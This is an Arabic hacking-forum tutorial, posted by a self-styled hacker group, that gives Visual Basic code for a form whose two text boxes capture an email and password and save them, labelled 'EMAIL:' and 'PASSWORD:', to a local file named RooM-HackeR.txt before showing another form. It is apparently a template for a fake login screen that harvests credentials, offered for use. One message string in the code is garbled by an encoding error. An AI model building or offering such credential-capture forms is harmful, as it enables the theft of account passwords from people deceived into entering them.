قوات فوج الله الهكرية و البرمجية
القيادة العامة لوضع الدروس
تقدم موضوع/كيف عمل برنامج في الفيجوال يخرج لك كل ما تكتب في
text1 و text2
text1 و text2 نضع
في الفيجوال بيسك command1
و نضغط مرتين على الاداة الاخيرة و نكتب فيها التالي
Dim File As String 'تعريف المتغيرات
If Text2.Text = "" Or Text1.Text = "" Then 'التأكد من أن الحقول مملوءه
MsgBox "äÑÌæ ãáìÁ ÇáÍÞæá" 'إظهار رساله خطأ عندما يكون الحقول غير??????
Else
File = ("C:\RooM-HackeR.txt") 'حفظ النتائج
FNum = FreeFile
Open File For Output As #1
Print #FNum, "EMAIL:" & Text1.Text & vbNewLine + vbNewLine & "PASSWORD:"; Text2.Text + vbNewLine + vbNewLine & "BY RooM-HaCkeR@hotmail.com"
Close #FNum
v99x.Show
End If
End Sub
و بعد ما تكتب اي شي في text1 , text2
راح تطلع عندك في ملف c
RooM-HackeRباسم التالي
شكراااااااااااااا
